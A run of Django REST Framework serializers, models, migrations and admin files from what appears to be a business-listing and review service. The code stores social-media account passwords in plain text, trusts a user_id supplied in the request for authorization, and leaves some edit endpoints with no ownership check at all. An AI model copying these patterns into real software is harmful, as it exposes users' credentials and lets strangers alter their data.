User_Name = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Reating = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Review = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
User_Image_URL = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
Review_dateTime = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
def validate(self, data):
user_id = data.get("user_id", "")
Location_id = data.get("Location_id", "")
Social_Plateform = data.get("Social_Plateform", "")
User_Name = data.get("User_Name", "")
Reating = data.get("Reating", "")
Review = data.get("Review", "")
User_Image_URL = data.get("User_Image_URL", "")
Review_dateTime = data.get("Review_dateTime", "")
message = ""
if Location_id:
if DfBusinessLocation.objects.filter(id=Location_id).exists():
get_bl_ins = get_object_or_404(DfBusinessLocation,id=Location_id)
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if get_bl_ins.DfUser.id == get_Dfuser_ins.id:
add_review = DfLocationReviews(
Df_User = get_Dfuser_ins,
Business_Location = get_bl_ins,
Social_Plateform = Social_Plateform,
User_Name = User_Name,
Reating = Reating,
Review = Review,
User_Image_URL = User_Image_URL,
Review_dateTime = Review_dateTime
)
add_review.save()
message = "Review inserted successfully."
else:
msg = "This Location_id is not related to current login user."
raise exceptions.ValidationError(msg)
else:
msg = "Location_id is not exists."
raise exceptions.ValidationError(msg)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return message
class GetLocationserializer(serializers.Serializer):
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
Location_id = data.get("Location_id", "")
user_id = data.get("user_id", "")
location_ins = None
if DfBusinessLocation.objects.filter(id=Location_id).exists():
get_bl_ins = get_object_or_404(DfBusinessLocation, id=Location_id)
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if get_bl_ins.DfUser.id == get_Dfuser_ins.id:
location_ins = get_bl_ins
else:
msg = "This Location_id is not related to current login user."
raise exceptions.ValidationError(msg)
else:
msg = "Location_id is not exists."
raise exceptions.ValidationError(msg)
return location_ins
class GetReviewsSerializers(serializers.ModelSerializer):
class Meta:
model = DfLocationReviews
fields = ['id', 'Social_Plateform', 'User_Name', 'Reating', 'Review', 'User_Image_URL',
'Review_dateTime', 'Craete_Date','Business_Location','Df_User']
depth = 2<file_sep>from rest_framework import serializers
from django.contrib.auth.models import User
from .models import DfBusinessCategory,DfCountry, DfState
from django.contrib.auth import authenticate
from rest_framework import exceptions
class DfBusinessCategorySerializers(serializers.ModelSerializer):
class Meta:
model = DfBusinessCategory
fields = ('id','Category_Name','Status')
class DfCountrySerializers(serializers.ModelSerializer):
class Meta:
model = DfCountry
fields = ('id','Country_Name','Status')
class DfStateSerializers(serializers.ModelSerializer):
class Meta:
model = DfState
fields = ('id','Country_Name','State_name','Status')
<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:10
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0002_auto_20200922_1108'),
]
operations = [
migrations.AlterField(
model_name='dfprice',
name='Duration_Type',
field=models.CharField(blank=True, choices=[('D', 'Days'), ('M', 'Mohnth'), ('Y', 'Year')], max_length=120, null=True),
),
]
<file_sep>from rest_framework import serializers
from django.shortcuts import get_object_or_404
from .models import DfVoiceFaqs
from rest_framework import exceptions
from rest_framework.response import Response
from accounts.models import DfUser
from manage_locations.models import DfBusinessLocation
from django.db.models import Q
class AddVoiceFaqs(serializers.Serializer):
DfUser = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Location = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
question = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
answer = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
class Meta:
model = DfVoiceFaqs
fields = ['DfUser','Location','question','answer','Craete_Date']
class GetAllFaqSerializersValidate(serializers.Serializer):
user_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
get_user_instance = {}
if user_id:
if DfUser.objects.filter(user_id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user_id=user_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_user_instance
class GetAllFaqSerializersLocationValidate(serializers.Serializer):
user_id = serializers.CharField()
location_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
data_set = {}
get_user_instance = {}
if user_id:
if DfUser.objects.filter(user_id=user_id).exists():
data_set["get_user_instance"] = get_object_or_404(DfUser, user_id=user_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
if location_id:
if DfBusinessLocation.objects.filter(id=location_id).exists():
data_set["get_location_instance"] = get_object_or_404(DfBusinessLocation, id=location_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return data_set
class GetAllFaqSerializersByIdValidate(serializers.Serializer):
user_id = serializers.CharField()
faq_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
faq_id = data.get("faq_id", "")
data_set = {}
get_user_instance = {}
if user_id:
if DfUser.objects.filter(user_id=user_id).exists():
data_set["get_user_instance"] = get_object_or_404(DfUser, user_id=user_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
if faq_id:
if DfVoiceFaqs.objects.filter(id=faq_id).exists():
data_set["get_faq_instance"] = get_object_or_404(DfVoiceFaqs, id=faq_id)
else:
mes = "faq_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide faq_id."
raise exceptions.ValidationError(mes)
return data_set
# ====================EditLocationBusinessSerializers ========
class EditFaqSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
question = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
answer = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
faq_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
Location_id = data.get("Location_id", "")
question = data.get("question", "")
answer = data.get("answer", "")
faq_id = data.get("faq_id", "")
if Location_id:
if DfBusinessLocation.objects.filter(id=Location_id).exists():
location_ins = get_object_or_404(DfBusinessLocation,id=Location_id)
if faq_id:
if DfVoiceFaqs.objects.filter(id=faq_id).exists():
if DfVoiceFaqs.objects.filter(DfUser__id=user_id).filter(Location=location_ins).filter(~Q(id =faq_id)).exists():
msg = "This question is alerady exists."
raise exceptions.ValidationError(msg)
else:
DfVoiceFaqs.objects.filter(id=faq_id).update(
Location=location_ins,
question=question,
answer=answer
)
update_info = "Faq info update successfully"
else:
mes = "faq_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "faq_id provide location_id."
raise exceptions.ValidationError(mes)
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Location_id provide location_id."
raise exceptions.ValidationError(mes)
return update_info
# ====================EditLocationBusinessSerializers ========
class GetAllFaqSerializers(serializers.ModelSerializer):
class Meta:
model = DfVoiceFaqs
fields = ['id','DfUser', 'Location', 'question', 'answer', 'Craete_Date']
depth = 1
<file_sep>from rest_framework import serializers
from .models import DfJobCategory,DfJobs,DfJobApplaicationSet
class DfJobCategorySerializer(serializers.ModelSerializer):
class Meta:
model = DfJobCategory
fields = ['id', 'CategoryName', 'Create_date']
class DfJobsSerializer(serializers.ModelSerializer):
class Meta:
model = DfJobs
fields = ['id', 'Category_name', 'Job_Title','Job_slug','Job_Description','Create_date']
depth = 2
class DfJobsApplicationSerializer(serializers.ModelSerializer):
# Job_DfJobs = DfJobsSerializer(read_only=True,many=True)
Job_title = serializers.PrimaryKeyRelatedField(many=False,queryset=DfJobs.objects.all())
job_cate = serializers.PrimaryKeyRelatedField(many=False,queryset=DfJobCategory.objects.all())
class Meta:
model = DfJobApplaicationSet
fields = ['id', 'Job_title', 'job_cate','Name','email','contact_no','Application_Date']
depth = 2<file_sep>from django.contrib import admin
from .models import DfSocialMedia
from import_export.admin import ImportExportModelAdmin
# Register your models here.
class DfSocialMediaAdmin(ImportExportModelAdmin):
search_fields = ['Platform']
list_display = ('DfUser','Platform','Token','Username','Email','<PASSWORD>','Connect_status','Other_info','Craete_Date','Update_Date')
list_filter = ('Connect_status','DfUser','Craete_Date',)
admin.site.register(DfSocialMedia, DfSocialMediaAdmin)<file_sep>from django.apps import AppConfig
class ManageFaqsConfig(AppConfig):
name = 'manage_faqs'
<file_sep># Generated by Django 3.0.6 on 2020-09-05 08:27
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('queryes', '0002_auto_20200905_0821'),
]
operations = [
migrations.AlterField(
model_name='dfqueryinfo',
name='Name',
field=models.CharField(max_length=120),
),
migrations.AlterField(
model_name='dfqueryinfo',
name='Your_Email',
field=models.CharField(max_length=120),
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfBlogs
# Register your models here.
class DfBlogsAdmin(ImportExportModelAdmin):
list_display = ('Blog_Title','Blog_slug','Blog_Image','Create_date')
admin.site.register(DfBlogs,DfBlogsAdmin)<file_sep>from django.urls import path
from . import views
urlpatterns = [
path('add', views.AddVoiceFaqView.as_view()),
path('get-all-faqs', views.GetAllFaqByUserIdView.as_view()),
path('get-all-faqs-by-location-id', views.GetAllFaqByLocationIdView.as_view()),
path('get-faqs-by-id', views.GetAllFaqByIdView.as_view()),
path('edit-faq', views.EditFaqByIdView.as_view()),
path('delete-faq', views.DeleteFaqByIdView.as_view()),
]<file_sep># Generated by Django 3.0.6 on 2020-09-22 09:04
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_faqs', '0002_auto_20200910_1121'),
]
operations = [
migrations.CreateModel(
name='DfFaqCategory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Category', models.CharField(max_length=120)),
],
options={
'verbose_name_plural': 'Df Faq Category',
},
),
migrations.AddField(
model_name='dffaqs',
name='Category',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='DfFaqs_Category', to='manage_faqs.DfFaqCategory'),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-07-28 12:31
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
('manage_locations', '0019_auto_20200420_1405'),
('accounts', '0005_auto_20200410_1503'),
]
operations = [
migrations.CreateModel(
name='DfVoiceFaqs',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('question', models.CharField(max_length=500)),
('answer', models.TextField(blank=True, null=True)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
('Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_locations.DfBusinessLocation')),
],
options={
'verbose_name_plural': 'DF Voice Faqs',
},
),
]
<file_sep>from django.shortcuts import render
from .models import DfQueryInfo
from .serializers import QuerysetSerializer
from rest_framework import mixins
from rest_framework import generics
# Create your views here.
class AddQuery(mixins.ListModelMixin,mixins.CreateModelMixin,generics.GenericAPIView):
queryset = DfQueryInfo.objects.all()
serializer_class = QuerysetSerializer
def get(self, request, *args, **kwargs):
return self.list(request, *args, **kwargs)
def post(self, request, *args, **kwargs):
return self.create(request, *args, **kwargs)<file_sep># Generated by Django 3.0.6 on 2020-08-15 11:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_campus', '0007_dfuseremail'),
]
operations = [
migrations.AddField(
model_name='dfuseremail',
name='Contact',
field=models.CharField(blank=True, max_length=500, null=True),
),
]
<file_sep>from django.db import models
from accounts.models import DfUser
import django
# Create your models here.
class DfSocialMedia(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Platform = models.CharField(max_length=50)
Token = models.CharField(max_length=120,null=True,blank=True)
Username = models.CharField(max_length=120,null=True,blank=True)
Email = models.CharField(max_length=120,null=True,blank=True)
Password = models.CharField(max_length=120,null=True,blank=True)
Connect_status = models.CharField(max_length=120,null=True,blank=True)
Other_info = models.TextField(null=True,blank=True)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
Update_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Platform
class Meta:
verbose_name_plural = "DF Social Media"<file_sep>from django.contrib import admin
from .models import DfUser
from import_export.admin import ImportExportModelAdmin
# Register your models here.
class DfUserAdmin(ImportExportModelAdmin):
search_fields = ['first_name']
list_display = ('user','first_name','Company_name','Country','Phone','Zip','Last_login','Create_date')
list_filter = ('Country','Create_date',)
admin.site.register(DfUser,DfUserAdmin)
<file_sep># Generated by Django 3.0.5 on 2020-04-20 05:35
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0015_auto_20200416_1224'),
]
operations = [
migrations.AddField(
model_name='dflocationopenhours',
name='date',
field=models.CharField(blank=True, max_length=20, null=True),
),
]
<file_sep>from rest_framework import serializers
from django.shortcuts import get_object_or_404
from .models import DfBusinessLocation,DfLocationImage,DfLocationPaymentMethod,DfLocationConnectPlatform,DfLocationOpenHours
from rest_framework import exceptions
from rest_framework.response import Response
from accounts.models import DfUser
from social_media_platforms.models import DfSocialMedia
class GetOneLocationSerializersValidate(serializers.Serializer):
location_id = serializers.CharField()
def validate(self, data):
location_id = data.get("location_id", "")
location_data = {}
if location_id:
if DfBusinessLocation.objects.filter(id=location_id).exists():
# location_data = get_object_or_404(DfBusinessLocation, id=location_id)
location_data = get_object_or_404(DfBusinessLocation, id=location_id)
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return location_data
class GetAllLocationSerializersValidate(serializers.Serializer):
user_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
get_user_instance = {}
if user_id:
if DfUser.objects.filter(id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, id=user_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_user_instance
class GetDfBusinessLocationSerializers(serializers.ModelSerializer):
id = serializers.IntegerField(required=True)
class Meta:
model = DfLocationImage
fields = ['id','Image']
class GetDfLocationPaymentSerializers(serializers.ModelSerializer):
id = serializers.IntegerField(required=True)
class Meta:
model = DfLocationPaymentMethod
fields = ['id','Payment_Method']
class GetOpenhourSerializers(serializers.ModelSerializer):
id = serializers.IntegerField(required=True)
class Meta:
model = DfLocationOpenHours
fields = ['id','date','Day','Type','Open_status','start_time_1','end_time_1','start_time_2','end_time_2']
class GetAllLocationSerializers(serializers.ModelSerializer):
Df_location_image = GetDfBusinessLocationSerializers(many=True)
Df_location_payments = GetDfLocationPaymentSerializers(many=True)
Df_location_poen_hour = GetOpenhourSerializers(many=True)
class Meta:
model = DfBusinessLocation
fields = ['id','DfUser', 'Store_Code', 'Business_Logo', 'Location_name', 'Business_category', 'Additional_catugory',
'Address_1', 'Address_2', 'Country', 'State', 'City', 'Zipcode', 'Phone_no', 'Website','Franchise_Location','Do_not_publish_my_address',
'Business_Owner_Name', 'Owner_Email', 'Business_Tagline', 'Year_Of_Incorporation', 'About_Business',
'Facebook_Profile', 'Instagram_Profile', 'Twitter_Profile','Business_Cover_Image', 'Craete_Date', 'Update_Date','Df_location_payments','Df_location_image','Df_location_poen_hour']
class AddLocationSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Business_Logo = serializers.CharField(style={"inpupt_type":"text"},write_only=True,required=False,allow_blank=True)
Business_Cover_Image = serializers.CharField(style={"inpupt_type":"text"},write_only=True,required=False,allow_blank=True)
Location_name = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Business_category = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Additional_catugory = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Address_1 = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Address_2 = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Country = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
State = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
City = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Zipcode = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Phone_no = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Franchise_Location = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Do_not_publish_my_address = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Website = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Business_Owner_Name = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Owner_Email = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Business_Tagline = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Year_Of_Incorporation = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
About_Business = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Facebook_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Instagram_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Twitter_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
class Meta:
model = DfBusinessLocation
fields = ['user_id','Store_Code','Business_Logo','Location_name','Business_category','Additional_catugory','Address_1','Address_2','Country','State','City','Zipcode','Phone_no','Website','Business_Owner_Name','Owner_Email','Business_Tagline','Year_Of_Incorporation','About_Business','Facebook_Profile','Instagram_Profile','Twitter_Profile','Business_Cover_Image','Craete_Date','Update_Date']
# ====================EditLocationHoursSerializers ========
class EditLocationHoursSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
Location_id = data.get("Location_id", "")
user_id = data.get("user_id", "")
update_info = None
if Location_id:
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=Location_id).exists():
get_bus_loca_ins = get_object_or_404(DfBusinessLocation, id=Location_id)
if get_bus_loca_ins.DfUser.id == get_Dfuser_ins.id:
update_info = get_bus_loca_ins
else:
mes = "Location_id is not related to current login user."
raise exceptions.ValidationError(mes)
else:
mes = "Location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "user is not login."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return update_info
# ====================EditLocationHoursSerializers ========
# ====================EditLocationBusinessSerializers ========
class EditLocationBusinessSerializers(serializers.Serializer):
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Business_Owner_Name = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Owner_Email = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Business_Tagline = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Year_Of_Incorporation = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
About_Business = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Facebook_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Instagram_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Twitter_Profile = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
def validate(self, data):
Location_id = data.get("Location_id", "")
Business_Owner_Name = data.get("Business_Owner_Name", "")
Owner_Email = data.get("Owner_Email", "")
Business_Tagline = data.get("Business_Tagline", "")
Year_Of_Incorporation = data.get("Year_Of_Incorporation", "")
About_Business = data.get("About_Business", "")
Facebook_Profile = data.get("Facebook_Profile", "")
Instagram_Profile = data.get("Instagram_Profile", "")
Twitter_Profile = data.get("Twitter_Profile", "")
update_info = ""
if Location_id:
if DfBusinessLocation.objects.filter(id=Location_id).exists():
DfBusinessLocation.objects.filter(id=Location_id).update(
Business_Owner_Name = Business_Owner_Name,
Owner_Email = Owner_Email,
Business_Tagline = Business_Tagline,
Year_Of_Incorporation = Year_Of_Incorporation,
About_Business = About_Business,
Facebook_Profile=Facebook_Profile,
Instagram_Profile=Twitter_Profile,
Twitter_Profile=Twitter_Profile
)
update_info = "Business info update successfully"
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return update_info
# ====================EditLocationBusinessSerializers ========
# ====================EditLocationpaymentMethodSerializers ========
class EditLocationpaymentMethodSerializers(serializers.Serializer):
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
Location_id = data.get("Location_id", "")
Location_instance = ""
if Location_id:
if DfBusinessLocation.objects.filter(id=Location_id).exists():
Location_instance = DfBusinessLocation.objects.filter(id=Location_id)
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide location_id."
raise exceptions.ValidationError(mes)
return Location_instance
# ====================EditLocationBusinessSerializers ========
class LocationWithSocialMediaSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
platform_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Connection_Status = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=False,allow_blank=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
platform_id = data.get("platform_id", "")
Connection_Status = data.get("Connection_Status", "")
message = ""
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
if DfSocialMedia.objects.filter(id=platform_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfSocialMedia_ins = get_object_or_404(DfSocialMedia, id=platform_id,DfUser=get_Dfuser_ins)
if DfLocationConnectPlatform.objects.filter(Business_Location=get_DfBusinessLocation_ins).filter(Social_Platform=get_DfSocialMedia_ins).exists():
get_LCP_INS = get_object_or_404(DfLocationConnectPlatform , Business_Location=get_DfBusinessLocation_ins,Social_Platform=get_DfSocialMedia_ins)
DfLocationConnectPlatform.objects.filter(id=get_LCP_INS.id).update(
DfUser=get_Dfuser_ins,
Business_Location=get_DfBusinessLocation_ins,
Social_Platform=get_DfSocialMedia_ins,
Connection_Status=Connection_Status
)
message = "Location connection update."
else:
connect_plat = DfLocationConnectPlatform(
DfUser = get_Dfuser_ins,
Business_Location = get_DfBusinessLocation_ins,
Social_Platform = get_DfSocialMedia_ins,
Connection_Status = Connection_Status
)
connect_plat.save()
message = "Location connect with social media."
else:
mes = "Your platform_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return message
class LocationRemoveWithSocialMediaSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_connect_social_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_connect_social_id = data.get("location_connect_social_id", "")
message = ""
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfLocationConnectPlatform.objects.filter(id=location_connect_social_id).exists():
get_CMC_ins = get_object_or_404(DfLocationConnectPlatform, id=location_connect_social_id)
if get_CMC_ins.DfUser.id == get_Dfuser_ins.id:
DfLocationConnectPlatform.objects.filter(id=location_connect_social_id).delete()
message = "Connection remove with social media platform."
else:
mes = "This location_connect_social_id is not related to current login user."
raise exceptions.ValidationError(mes)
else:
mes = "Your platform_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your location_connect_social_id is incorrect."
raise exceptions.ValidationError(mes)
return message
class RemoveLocationByIdSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
message = ""
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).exists():
get_BL_ins = get_object_or_404(DfBusinessLocation,id=location_id)
if get_BL_ins.DfUser.id == get_Dfuser_ins.id:
get_ins = DfBusinessLocation.objects.get(id=location_id)
DfLocationConnectPlatform.objects.filter(Business_Location=get_ins).delete()
DfLocationImage.objects.filter(Business_Location=get_ins).delete()
DfLocationOpenHours.objects.filter(Business_Location=get_ins).delete()
DfLocationPaymentMethod.objects.filter(Business_Location=get_ins).delete()
DfBusinessLocation.objects.filter(id=location_id).delete()
message = "Business Location remove successfully."
else:
mes = "This location_id is not related to current login user."
raise exceptions.ValidationError(mes)
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your location_connect_social_id is incorrect."
raise exceptions.ValidationError(mes)
return message
class GetAllConnectionOfOneLocationSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
get_data = None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).exists():
get_BL_ins = get_object_or_404(DfBusinessLocation,id=location_id)
if get_BL_ins.DfUser.id == get_Dfuser_ins.id:
if DfLocationConnectPlatform.objects.filter(Business_Location=get_BL_ins).exists():
get_data = DfLocationConnectPlatform.objects.filter(Business_Location=get_BL_ins)
else:
mes = "This location_id is not related to current login user."
raise exceptions.ValidationError(mes)
else:
mes = "location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your location_connect_social_id is incorrect."
raise exceptions.ValidationError(mes)
return get_data
class GetConnectionWithCocialMediaSerializers(serializers.ModelSerializer):
class Meta:
model = DfLocationConnectPlatform
fields = ['id', 'Connection_Status', 'Craete_Date', 'Update_Date', 'Business_Location',
'Social_Platform', 'DfUser']
depth = 1
class UpdateImagesFilesByLocationIdSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Business_Logo = serializers.CharField(style={"inpupt_type":"text"},write_only=True,required=False,allow_blank=True)
Business_Cover_Image = serializers.CharField(style={"inpupt_type":"text"},write_only=True,required=False,allow_blank=True)
Other_Image = serializers.CharField(style={"inpupt_type":"text"},write_only=True,required=False,allow_blank=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
location_id_get =None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
df_bl_dta= DfBusinessLocation.objects.get(id=location_id)
location_id_get = df_bl_dta
else:
mes = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return location_id_get
class UpdateImagesFilesByLocationIdImageIdSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
image_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
image = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
image_id = data.get("image_id", "")
image = data.get("image", "")
location_id_get =None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
df_bl_dta= DfBusinessLocation.objects.get(id=location_id)
location_id_get = df_bl_dta
else:
mes = "Your location_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return location_id_get
class RemoveImagesFilesByLocationIdImageIdSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
image_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
location_id = data.get("location_id", "")
image_id = data.get("image_id", "")
location_id_get =None
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfBusinessLocation.objects.filter(id=location_id).filter(DfUser=get_Dfuser_ins).exists():
get_DfBusinessLocation_ins = get_object_or_404(DfBusinessLocation, id=location_id,DfUser=get_Dfuser_ins)
